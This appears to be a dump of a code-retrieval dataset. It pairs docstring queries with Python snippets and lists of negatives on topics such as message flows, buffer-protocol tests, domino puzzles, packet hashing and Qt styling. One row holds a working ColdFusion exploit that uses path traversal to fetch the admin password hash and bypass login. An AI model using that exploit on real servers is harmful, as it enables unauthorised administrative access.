query
stringlengths
9
9.05k
document
stringlengths
10
222k
negatives
listlengths
19
20
metadata
dict
Returns a query result dictionary, given an ACE Record instance and a dictionary of the XPath queries that need to be executed on this record.
def query_dict_for_record(record, touched_queries): result = dict() if len(touched_queries) > 0: parsed_record = etree.parse(StringIO(record.test_data_xml())) result.update(dict((q_name, {'query': q_value, 'result': list(x.text for x in etree.ETXPath(q_value)...
[ "def _evaluate(self):\n records = self._manager._query(self._obj_name, self.to_string(), depth=self._depth, omit_outers=self._omit_outers)\n self._result = records\n self._is_evaluated = True\n return self._result", "def launch_query_dict_result(self, query, result_dic, all_columns_fro...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Endpoint to exercise a message. The message is injected into the flow. For this recording and injection must be temporarily enabled on the flow. Test data is obtained, after which instances of ACERecord are created and sorted on flowSequenceNumber. For each record, an object is created with the fromto node+terminal inf...
def post(self, project_type, project, msgflow, node): result = dict() try: ace_conn.start_recording(project_type, project, msgflow) ace_conn.start_injection(project_type, project, msgflow) ace_conn.inject(project_type, project, msgflow, node, request.data) ...
[ "def _do_test(self,\n test_name, # Name of test\n exch_name = \"amq.direct\", # Remote exchange name\n exch_type = \"direct\", # Remote exchange type\n exch_alt_exch = \"\", # Remote exchange...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Ask a yes/no question via raw_input() and return their answer. "question" is a string that is presented to the user. "default" is the presumed answer if the user just hits . It must be "yes" (the default), "no" or None (meaning an answer is required of the user). The force option simply sets the answer to default. The ...
def query_yes_no(question, default="yes", force=False): valid = {"yes":True, "y":True, "ye":True, "no":False, "n":False} if default == None: prompt = " [y/n] " elif default == "yes": prompt = " [Y/n] " elif default == "no": prompt = " [y/N] " else: ...
[ "def query_yes_no(question, default=\"yes\"):\n valid = {\"yes\":\"yes\", \"y\":\"yes\", \"ye\":\"yes\",\n \"no\":\"no\", \"n\":\"no\"}\n if default == None:\n prompt = \" [y/n] \"\n elif default == \"yes\":\n prompt = \" [Y/n] \"\n elif default == \"no\":\n promp...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Transform option list to a dictionary.
def opt_to_dict(opts): if isinstance(opts, dict): return args = list(itertools.chain.from_iterable([x.split("=") for x in opts])) opt_d = {k: True if v.startswith('-') else v for k,v in zip(args, args[1:]+["--"]) if k.startswith('-')} return opt_d
[ "def options_list_to_lowered_dict(self, options_list):\n result = {}\n if options_list:\n for key in options_list:\n key = key.lstrip()\n colon = key.find(':')\n if colon < 1:\n colon = None\n equal = key.find('=...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Remove unwanted options from an option list.
def prune_option_list(opts, keys): opt_d = opt_to_dict(opts) for k in keys: if k in opt_d: del opt_d[k] return [k for item in opt_d.iteritems() for k in item]
[ "def filter_options(options: list) -> list:\n options_to_remove = [\"help\", \"print-logs-live\", \"print-logs\", \"pool\"]\n return [option for option in options if option not in options_to_remove]", "def remove_conflicted_options(options, request):\n # type: (List[Option], Dict[str, str]) -> Tuple[...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Make a paper plot for the Ohmic (or linear) mobility of the RTA, lowfield, and fulldrift solutions.
def linear_mobility_paperplot(fieldVector,df): vcm = np.array(fieldVector) * 1e-2 lw = 1.5 mu_1 = [] mu_2 = [] mu_3 = [] meanE_1 = [] meanE_2 = [] meanE_3 = [] for ee in fieldVector: chi_1_i = np.load(pp.outputLoc + 'Steady/' + 'chi_' + '1_' + "E_{:.1e}.npy".format(ee)) ...
[ "def plot_tsnes():\n # Two environments (for main paper figure. All for final figure)\n ENVS = [\n \"BipedalWalker-v3\",\n #\"LunarLander-v2\",\n #\"Pendulum-v0\"\n \"Acrobot-v1\",\n #\"CartPole-v1\"\n ]\n ALGO_TYPES = [\n \"stablebaselines\",\n \"stableb...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Make a paper plot for the momentum KDE of the lowfield, and fulldrift solutions.
def momentum_kde_paperplot(fields): fig, (ax1, ax2, ax3) = plt.subplots(nrows=3, sharex=True) axisList = [ax1,ax2,ax3] i =0 props = dict(boxstyle='round', facecolor='wheat', alpha=0.5) for ee in fields: ee_Vcm = ee/100 textstr = r'$E_{k_x}\, = \, %.1f \, V \, cm^{-1}$' % ee_Vcm ...
[ "def momentum_kde2_paperplot(fields):\n plt.figure(figsize=(2.65, 2.5))\n ax = plt.axes([0.18, 0.17, 0.8, 0.8])\n colorList = [med_color, high_color]\n lw = 1.5\n i = 0\n meankx_2 = []\n meankx_3 = []\n k_ax = np.load(pp.outputLoc + 'Momentum_KDE/' + 'k_ax_' + '2_' + \"E_{:.1e}.npy\".format(...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Make a paper plot for the momentum KDE of the lowfield, and fulldrift solutions.
def momentum_kde2_paperplot(fields): plt.figure(figsize=(2.65, 2.5)) ax = plt.axes([0.18, 0.17, 0.8, 0.8]) colorList = [med_color, high_color] lw = 1.5 i = 0 meankx_2 = [] meankx_3 = [] k_ax = np.load(pp.outputLoc + 'Momentum_KDE/' + 'k_ax_' + '2_' + "E_{:.1e}.npy".format(fields[0])) ...
[ "def momentum_kde_paperplot(fields):\n fig, (ax1, ax2, ax3) = plt.subplots(nrows=3, sharex=True)\n axisList = [ax1,ax2,ax3]\n i =0\n\n props = dict(boxstyle='round', facecolor='wheat', alpha=0.5)\n for ee in fields:\n ee_Vcm = ee/100\n textstr = r'$E_{k_x}\\, = \\, %.1f \\, V \\, cm^{-1...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Make a energy plot for the momentum KDE of the lowfield, and fulldrift solutions.
def energy_kde_paperplot(fields,df): plt.figure() i = 0 colorList = ['dodgerblue','tomato'] lw = 2 meanE_2 = [] meanE_3 = [] mup = np.min(df['energy [eV]']) - pp.mu chi_0 = np.load(pp.outputLoc + 'Steady/' + 'chi_' + '2_' + "E_{:.1e}.npy".format(fields[0])) g_en_axis, _, _, _, _, _,...
[ "def momentum_kde2_paperplot(fields):\n plt.figure(figsize=(2.65, 2.5))\n ax = plt.axes([0.18, 0.17, 0.8, 0.8])\n colorList = [med_color, high_color]\n lw = 1.5\n i = 0\n meankx_2 = []\n meankx_3 = []\n k_ax = np.load(pp.outputLoc + 'Momentum_KDE/' + 'k_ax_' + '2_' + \"E_{:.1e}.npy\".format(...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Returns the nth item
def nth(iterable, index): return next(itertools.islice(iterable, index, None))
[ "def nth(n, seq):\n try:\n return seq[n]\n except TypeError:\n return next(itertools.islice(seq, n, None))", "def getitem(obj, i):\n return obj[i % len(obj)]", "def nth(iterable, n, default=None):\r\n return next(islice(iterable, n, None), default)", "def nth(iterable, n, default=Non...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Store any type of data in Redis
def store(self, data: Union[str, bytes, int, float]) -> str: k = str(uuid.uuid4()) self._redis[k] = data return k
[ "def store(self, data: Union[str, bytes, int, float]) -> str:\n key = str(uuid.uuid4())\n self._redis.set(key, data)\n return key", "def store(self, data: Union[str, bytes, int, float]) -> str:\r\n random_key = str(uuid.uuid4())\r\n self._redis.set(random_key, data)\r\n\r\n ...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Iterate through supported mode/char combinations.
def iter_mode(n, obj='ndarray'): for mode in cap[obj][MODE]: for char in fmtdict[mode]: yield randitems(n, obj, mode, char)
[ "def modes(self):\n try:\n order = self._current_order\n except AttributeError:\n raise AttributeError('Cannot iterate over modes without iterating over orders!') from None\n mode = -order\n while mode <= order:\n yield mode\n mode += 1", "de...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Yield (format, items, item) for all possible modes and format characters plus one random compound format string.
def iter_format(nitems, testobj='ndarray'): for t in iter_mode(nitems, testobj): yield t if testobj != 'ndarray': return yield struct_items(nitems, testobj)
[ "def __iter__(self):\n for format_pair in self._fmt_registry:\n yield format_pair", "def parse(self, format_string):\n # Flush any remaining stuff before resetting colors\n self.file.flush()\n\n if self.enabled:\n self._reset_func(self.file)\n\n first_forma...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Calculate strides of a contiguous array. Layout is 'C' or 'F' (Fortran).
def strides_from_shape(ndim, shape, itemsize, layout): if ndim == 0: return () if layout == 'C': strides = list(shape[1:]) + [itemsize] for i in range(ndim-2, -1, -1): strides[i] *= strides[i+1] else: strides = [itemsize] + list(shape[:-1]) for i in range(...
[ "def strides(self):", "def strides(self):\n return reduce_strides(self.full_strides)", "def strides_from_shape(ndim, shape, itemsize, layout):\n if ndim == 0:\n return ()\n if layout == 'C':\n strides = list(shape[1:]) + [itemsize]\n for i in range(ndim - 2, -1, -1):\n ...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
flatten list or return scalar
def flatten(lst): if atomp(lst): # scalar return lst return _flatten(lst)
[ "def list_flatten(input_list):\n if len(input_list) > 0 and isinstance(input_list[0], (list, np.ndarray)):\n return functools.reduce(operator.iconcat, input_list, [])\n\n return input_list", "def flatten(self, x):", "def do_flatten(obj):\n if type(obj) == list:\n return np.array(obj).fl...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Compare the structure of llst[lslices] and rlst[rslices].
def cmp_structure(llst, rlst, lslices, rslices): lshape = slice_shape(llst, lslices) rshape = slice_shape(rlst, rslices) if (len(lshape) != len(rshape)): return -1 for i in range(len(lshape)): if lshape[i] != rshape[i]: return -1 if lshape[i] == 0: return ...
[ "def cmp_structure(llst, rlst, lslices, rslices):\n lshape = slice_shape(llst, lslices)\n rshape = slice_shape(rlst, rslices)\n if len(lshape) != len(rshape):\n return -1\n for i in range(len(lshape)):\n if lshape[i] != rshape[i]:\n return -1\n if lshape[i] == 0:\n ...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
The structure 't' is overlapping if at least one memory location is visited twice while iterating through all possible tuples of indices.
def is_overlapping(t): memlen, itemsize, ndim, shape, strides, offset = t visited = 1<<memlen for ind in indices(shape): i = memory_index(ind, t) bit = 1<<i if visited & bit: return True visited |= bit return False
[ "def is_overlapping(t):\n memlen, itemsize, ndim, shape, strides, offset = t\n visited = 1 << memlen\n for ind in indices(shape):\n i = memory_index(ind, t)\n bit = 1 << i\n if visited & bit:\n return True\n visited |= bit\n return False", "def listOfOverlappingT...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Create a random slice of len slicelen that fits into listlen.
def randslice_from_slicelen(slicelen, listlen): maxstart = listlen - slicelen start = randrange(maxstart+1) maxstep = (listlen - start) // slicelen if slicelen else 1 step = randrange(1, maxstep+1) stop = start + slicelen * step s = slice(start, stop, step) _, _, _, control = slice_indices(s...
[ "def randslice_from_slicelen(slicelen, listlen):\n maxstart = listlen - slicelen\n start = randrange(maxstart + 1)\n maxstep = (listlen - start) // slicelen if slicelen else 1\n step = randrange(1, maxstep + 1)\n stop = start + slicelen * step\n s = slice(start, stop, step)\n _, _, _, control =...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Create two sets of slices for an array x with shape 'shape' such that shapeof(x[lslices]) == shapeof(x[rslices]).
def randslice_from_shape(ndim, shape): lslices = [0] * ndim rslices = [0] * ndim for n in range(ndim): l = shape[n] slicelen = randrange(1, l+1) if l > 0 else 0 lslices[n] = randslice_from_slicelen(slicelen, l) rslices[n] = randslice_from_slicelen(slicelen, l) return tupl...
[ "def randslice_from_shape(ndim, shape):\n lslices = [0] * ndim\n rslices = [0] * ndim\n for n in range(ndim):\n l = shape[n]\n slicelen = randrange(1, l + 1) if l > 0 else 0\n lslices[n] = randslice_from_slicelen(slicelen, l)\n rslices[n] = randslice_from_slicelen(slicelen, l)\n...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Return a list of random items for structure 't' with format 'fmtchar'.
def randitems_from_structure(fmt, t): memlen, itemsize, _, _, _, _ = t return gen_items(memlen//itemsize, '#'+fmt, 'numpy')
[ "def randitems_from_structure(fmt, t):\n memlen, itemsize, _, _, _, _ = t\n return gen_items(memlen // itemsize, '#' + fmt, 'numpy')", "def lf():\n return random.sample(font_list, 25)", "def generate_rooms_with_text(self, t):\n r1 = {\n \"texts\": [\n { \"text\" : \"R002\"},\n ...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Interpret the raw memory of 'exporter' as a list of items with size 'itemsize'. If shape=None, the new structure is assumed to be 1D with n itemsize = bytelen. If shape is given, the usual constraint for contiguous arrays prod(shape) itemsize = bytelen applies. On success, return (items, shape). If the constraints cann...
def cast_items(exporter, fmt, itemsize, shape=None): bytelen = exporter.nbytes if shape: if prod(shape) * itemsize != bytelen: return None, shape elif shape == []: if exporter.ndim == 0 or itemsize != bytelen: return None, shape else: n, r = divmod(bytelen...
[ "def cast_items(exporter, fmt, itemsize, shape=None):\n bytelen = exporter.nbytes\n if shape:\n if prod(shape) * itemsize != bytelen:\n return None, shape\n elif shape == []:\n if exporter.ndim == 0 or itemsize != bytelen:\n return None, shape\n else:\n n, r = ...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Generate random slice for a single dimension of length n. If zero=True, the slices may be empty, otherwise they will be nonempty.
def rslice(n, allow_empty=False): minlen = 0 if allow_empty or n == 0 else 1 slicelen = randrange(minlen, n+1) return randslice_from_slicelen(slicelen, n)
[ "def rslice(n, allow_empty=False):\n minlen = 0 if allow_empty or n == 0 else 1\n slicelen = randrange(minlen, n + 1)\n return randslice_from_slicelen(slicelen, n)", "def makeslices(n):\n\n slices = [slice(None)] * n\n return slices", "def get_slice(self, n):\n if n == 0:\n retu...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Print ndarray for debugging.
def ndarray_print(nd): try: x = nd.tolist() except (TypeError, NotImplementedError): x = nd.tobytes() if isinstance(nd, ndarray): offset = nd.offset flags = nd.flags else: offset = 'unknown' flags = 'unknown' print("ndarray(%s, shape=%s, strides=%s, su...
[ "def ndarray_print(nd):\n try:\n x = nd.tolist()\n except (TypeError, NotImplementedError):\n x = nd.tobytes()\n if isinstance(nd, ndarray):\n offset = nd.offset\n flags = nd.flags\n else:\n offset = 'unknown'\n flags = 'unknown'\n print(\n \"ndarray(%...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Is (x0, y0) on a shared diagonal with (x1, y1)?
def share_diagonal(x0,y0,x1,y1): return abs(x0 - x1) == abs(y0 - y1)
[ "def share_diagonal(x0, y0, x1, y1):\r\n dy = abs(y1 - y0) # Calc the absolute y distance\r\n dx = abs(x1 - x0) # CXalc the absolute x distance\r\n return dx == dy # They clash if dx == dy\r", "def share_diagonal(x0, y0, x1, y1):\n dy = abs(y1 - y0) # Calc the absolute y ...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Parse a formatted string and return the names of the args and their types. Will raise a ValueError if the type is not a pyopenapi3 `Field` or an already defined Component Parameter type. In the case that the type represents a `Field`, then its type will be returned, respectively. Otherwise, if it is an already defined ...
def parse_name_and_type_from_fmt_str( formatted_str: str, allowed_types: Optional[Dict[str, Component]] = None ) -> Generator[Tuple[str, Type[Field]], None, None]: for _, arg_name, _type_name, _ in Formatter().parse(formatted_str): if arg_name is not None: try: as...
[ "def parse_type(typestr: str) -> List[str]:\n if typestr is None:\n return [None, None]\n\n parts: List[str] = typestr.split(\":\", 1)\n # Type: int, str\n for i, part in enumerate(parts):\n if part not in TYPE_NAMES:\n raise PyParamTypeError(\"Unknown type: %s\" % typestr)\n ...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Convert a custom object to a schema. This is done by create a reference to the object. Any nonreference object should be created by the Components builder. param `obj` must be a subtype of `data_types.Component`. Its type will determine what kind of component it is, e.g. '/components/ schemas/...' or '/components/param...
def convert_objects_to_schema(obj: Type[Component]) -> ReferenceObject: cmp_type: str = 'schemas' # default component type if hasattr(obj, '__cmp_type__'): cmp_type = obj.__cmp_type__.lower() # type: ignore return create_reference(obj.__name__, cmp_type)
[ "def make_schema(obj):\n\n if not isinstance(obj, Schema):\n if isinstance(obj, dict):\n return DictStructure(obj)\n elif isinstance(obj, list):\n return ListStructure(obj)\n elif isinstance(obj, (int, float, str, bool)) or (obj is None):\n return Value(obj)\...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
'Inject' the `Component` class into the custom, user defined, soontobe Component, class. This will help when building a property that involves a user defined custom Component. param `cmp_type` is some subtype of `data_types.Component`, e.g. whether it is a Schema component or Parameter component.
def inject_component(cls, cmp_type: Type[ComponentType]): if issubclass(cls, Component): return cls else: injected = type( "Injected", (cls, cmp_type), {attr_name: attr for attr_name, attr in cls.__dict__.items()} ) injected.__qualname__ = f'Co...
[ "def registerType(cls, type):\n # NOTE Subclasses must be registered via this method in order to be initialized from XML, etc.\n cls.componentTypes[type.__name__] = type\n #print \"Component.registerType(): Component type \\'\" + type.__name__ + \"\\' registered.\" # [debug]", "def createappendcomp(self...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Determine all of the local ip addresses for this machine This allows us to flag traffic as inbound or outbound.
def detect_local_ips(self): result = set() for ifaceName in interfaces(): try: address = [i['addr'] for i in ifaddresses(ifaceName)[AF_INET]] except: pass result.add(address[0]) return tuple(result)
[ "def local_ips(self):\n internal_ips = models.InternalIP.objects\\\n .filter(subnet__settings=self.settings).exclude(backend_id='')\n return {ip.backend_id: ip for ip in internal_ips}", "def get_local_ips_available():\r\n try:\r\n import netifaces\r\n\r\n ips = []\r\n ...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Sorts an iterable of packets and removes the duplicates
def iter_packets(iterable): prev = None for i in sorted(iterable, key=attrgetter('seq')): if prev is None or prev.seq != i.seq: prev = i yield i
[ "def sort_grouped_packets(self, grouped_packets):\n for group in grouped_packets:\n group.sort(key=lambda x: x.time, reverse=False)\n return grouped_packets", "def insertOrderedPacket(self, packet:Rudp.Packet, packets:list) -> list:\n i = 0\n for i in range(len(packets)):\n ...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Hashes a packet to determine the tcp stream it is part of
def hash_packet(eth, outbound=False): ip = eth.data tcp = ip.data return '%s:%i' % (ipaddr_string(ip.dst if outbound else ip.src), tcp.sport if outbound else tcp.dport )
[ "def hash_packet(packet):\n if packet.proto == 6:\n #*** Is TCP:\n packet_tuple = (packet.ip_src,\n packet.ip_dst,\n packet.proto,\n packet.tp_src,\n packet.tp_dst,\n packet.tp_seq_src,\n ...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Iterates over next packets in the buffer and removes them
def remove_buffered_packets(self): seq = self.next_seq while True: p = self.buffer.pop(seq, None) if p is None: break else: seq += len(p.data) yield p
[ "def drop_packets(self):\n for address, packet in self._dispersy.endpoint.clear_receive_queue():\n self._logger.debug(\"dropped %d bytes from %s:%d\", len(packet), address[0], address[1])", "def drop_packets(self, verbose=False):\n while True:\n try:\n packet, ad...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Move a die through a list of positions.
def move(self, *positions, show_length=True) -> str: move_parts = [] move_count = len(positions) pips = prev_x = prev_y = 0 for i, (x, y) in enumerate(positions): if i == 0: pips = self.dice.pop((x, y)) else: dx = x - prev_x ...
[ "def throw(self, move):\n for dice_index in move:\n self.dice[dice_index - 1] = random.randint(1,6)", "def move_animals(all_animals, animal_positions, grid):\n\n index_animal = 0 # keep track of the current animal's index\n dead_index = [] # list of animals that have died, to be removed ...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Record the joint character between a pair of cells.
def add_joint(joint: str, x1: int, y1: int, x2: int, y2: int) -> str: return joint
[ "def encryptPair(self):\n # Locate the characters in the matrix\n self.deselectCanvasses()\n (row1, col1) = self.matrix.find(self.plainText[self.cursor])\n (row2, col2) = self.matrix.find(self.plainText[self.cursor + 1])\n self.selectCanvas(row1, col1, \"gray\")\n self.sele...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Split all dominoes into separate cells. Useful for Dominosa.
def split_all(self): for domino in self.dominoes[:]: self.split(domino)
[ "def _split_to_cells(self):\n assert (self.PCA_coords is not None)\n\n for row in range(self.n_rows):\n coords = tuple((self.PCA_coords[row] // self.distance).astype(int))\n if coords not in self.cells:\n self.cells[coords] = Cell(coords)\n self.cells[co...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Iterate through self.extra_dominoes, start at random position. a generator of dominoes.
def choose_extra_dominoes(self, random): dominoes = self.extra_dominoes[:] count = len(dominoes) start = random.randrange(count) for i in range(count): yield dominoes[(i + start) % count]
[ "def choose_and_flip_extra_dominoes(self, random):\n for domino in self.choose_extra_dominoes(random):\n if domino.head.pips == domino.tail.pips:\n yield domino, False\n else:\n flip_first = random.randint(0, 1)\n for j in range(2):\n ...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Iterate through self.extra_dominoes, start at random position. a generator of (domino, is_flipped) pairs. Each domino is returned twice, with True or False in random order.
def choose_and_flip_extra_dominoes(self, random): for domino in self.choose_extra_dominoes(random): if domino.head.pips == domino.tail.pips: yield domino, False else: flip_first = random.randint(0, 1) for j in range(2): ...
[ "def choose_extra_dominoes(self, random):\n dominoes = self.extra_dominoes[:]\n count = len(dominoes)\n start = random.randrange(count)\n for i in range(count):\n yield dominoes[(i + start) % count]", "def pickup_dominoes(self, num_dominoes, player):\n\n for domino in...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Get a direction by name.
def get_direction(self, name): index = Domino.direction_names.find(name) return Domino.directions[index]
[ "def getDirection(self,name):\n if isinstance(name,Direction): return name\n try:\n return self.directions[name]\n except KeyError:\n #try looking through groups\n splits = name.split(\":\",1)\n if len(splits)==1:\n raise ValueError(\"D...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
True if either cell matches one of its neighbours. Slightly different type of matching from isMatch().
def hasMatch(self): for cell in (self.head, self.tail): for neighbour in cell.find_neighbours(): if neighbour.pips == cell.pips: return True return False
[ "def dggs_cell_overlap(cell_one: str, cell_two: str):\n for i, j in zip(cell_one, cell_two):\n if i != j:\n return False\n return True", "def isMatch(board, p1, p2):\r\n icon1 = board[p1[0]][p1[1]]\r\n icon2 = board[p2[0]][p2[1]]\r\n return icon1[0] == icon2[0] and icon1[1] == ico...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Move a domino and calculate the new board state. Afterward, put the board back in its original state.
def move(self, domino, dx, dy) -> typing.Tuple[str, int]: domino.move(dx, dy) try: board = domino.head.board if not board.is_connected(): raise BadPositionError('Board is not connected.') if board.has_loner(): raise BadPositionError('Bo...
[ "def move(self, domino, dx, dy, offset=None):\n matching_dominoes = set()\n complement_found = False\n domino.move(dx, dy)\n board = domino.head.board\n try:\n if not board.is_connected():\n raise BadPositionError('Board is not connected after move.')\n ...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Move a domino and calculate the new board state. Afterward, put the board back in its original state.
def move(self, domino, dx, dy, offset=None): matching_dominoes = set() complement_found = False domino.move(dx, dy) board = domino.head.board try: if not board.is_connected(): raise BadPositionError('Board is not connected after move.') for...
[ "def make_move(self, board):", "def move(self, domino, dx, dy) -> typing.Tuple[str, int]:\n domino.move(dx, dy)\n try:\n board = domino.head.board\n if not board.is_connected():\n raise BadPositionError('Board is not connected.')\n if board.has_loner()...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Attempts to exploit a ColdFusion file disclosure vulnerability to retrieve a hashed admin password. If found, this script will produce a hash to be used to bypass admin login by computing the value of the admin hash and a ColdFusion salt input parameter.
def retrieve_hash(host, salt): password_pattern = re.compile(r'\npassword=(.+)\r') url = 'http://%s/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%%00en' % host try: response = requests.post(url) password_hash = re.search(pass...
[ "def _inject_password(self, admin_password):\n # The approach used here is to copy the password and shadow\n # files from the instance filesystem to local files, make any\n # necessary changes, and then copy them back.\n\n LOG.debug(_(\"Inject admin password admin_passwd=<SANITIZED>\"))\...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
This method starts traffic between VMs using pktgen
def start_traffic_pktgen_between_vm( sr_vm_fix, dst_vm_fix, dest_min_port=10000, dest_max_port=10000): start_traffic_pktgen( sr_vm_fix, src_min_ip=sr_vm_fix.vm_ip, src_max_ip=sr_vm_fix.vm_ip, dest_ip=dst_vm_fix.vm_ip, dest_min_port=dest_min_po...
[ "def setup(self):\n self._logger.debug('Setup using ' + str(self._vswitch_class))\n\n try:\n self._vswitch.start()\n\n self._vswitch.add_switch(self._bridge)\n\n # create physical ports\n (_, phy1_number) = self._vswitch.add_phy_port(self._bridge)\n ...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
get output file's raw name, without .txt or .csv
def get_output_raw_name(journal_file_name, output_type='txt'): dot_pos = journal_file_name.rfind('.') if dot_pos != -1: output_file_name = journal_file_name[0: dot_pos] else: output_file_name = journal_file_name num_of_output = 1 if output_type == 'txt': while True: ...
[ "def _gen_filename(self, name):\n if name == 'out_file':\n _, fname, ext = split_filename(self.inputs.in_file)\n return os.path.join(os.getcwd(), ''.join((fname, '_3dT',ext)))", "def GetFileName(self, name):\n\t\n\t\treturn os.path.join(self.output_location, name)", "def _gen_filena...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Apply base theme to the application.
def _apply_base_theme(self, app): app.setStyle("Fusion") with open(self._STYLESHEET) as stylesheet: app.setStyleSheet(stylesheet.read())
[ "def setTheme(self):\n pass", "def manageTheme():", "def apply_theme(self, ax):\n pass", "def apply_style(self, app):\n\n lightPalette = QPalette()\n\n # base\n lightPalette.setColor(QPalette.WindowText, QColor(0, 0, 0))\n lightPalette.setColor(QPalette.Button, QColor...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Apply Light Theme to the Qt application instance.
def apply_style(self, app): lightPalette = QPalette() # base lightPalette.setColor(QPalette.WindowText, QColor(0, 0, 0)) lightPalette.setColor(QPalette.Button, QColor(240, 240, 240)) lightPalette.setColor(QPalette.Light, QColor(180, 180, 180)) lightPalette.setColor(QPal...
[ "def dark_theme(self):\n if self.actionDark_Theme.isChecked():\n QApplication.setStyle(QStyleFactory.create(\"Fusion\"))\n palette = QPalette()\n palette.setColor(QPalette.Window, QColor(53, 53, 53))\n palette.setColor(QPalette.WindowText, Qt.white)\n pa...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Create new entity returning uuid of created record
def create_entity(data: dict) -> str: new_uuid = str(uuid4()) Entity.create(uuid=new_uuid, data=data["data"]) return new_uuid
[ "def create(entity):\n return insert(entity)", "def new(self):\n uuid = uuid4().hex\n cur = self.conn.cursor()\n cur.execute(\n \"\"\"\n INSERT INTO experiments (uuid)\n VALUES(?)\n \"\"\", [uuid])\n cur.close()\n self.conn.commit()\n re...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
determine langage used base on the extension
def identifyLangage(script): langage = "undefined" scriptNameInArray = script.split(".") extension = scriptNameInArray[-1] if(extension == "pl"): langage = "perl" elif(extension == "py"): langage = "python" elif(extension == "sh"): langage = "bash" else: langage == "not recognised" return langage
[ "def determine_language(extension):\n if extension.startswith(\".\"):\n extension = extension[1:]\n\n mapping = {\"py\": \"python\", \"r\": \"r\", \"R\": \"r\", \"Rmd\": \"r\", \"rmd\": \"r\"}\n\n # ipynb can be many languages, it must return None\n return mapping.get(extension)", "def what_lan...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Get the stderr of script
def getErrors(script): p = subprocess.Popen(['./'+script], stdout=subprocess.PIPE, stderr=subprocess.PIPE) out, err = p.communicate() return err
[ "def stderr(self) -> str:\n _args: list[Arg] = []\n _ctx = self._select(\"stderr\", _args)\n return _ctx.execute_sync(str)", "def stderr(self) -> str:\n return self._result_and_state_and_out_err()[3]", "def stderr(self):\r\n self.wait()\r\n return self._stderr", "def ...
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
scan script for simple errors
def scanForSimpleError(script): langage = identifyLangage(script) line_number = 0 logFile_name = "scan.log" # Scanning File logFile = open(logFile_name, 'w') scriptFile = open(script, 'r') for line in scriptFile: line_number +=1 lineWithoutBackN = line.replace("\n", "") lineInArray = lineWithoutBackN.spli...
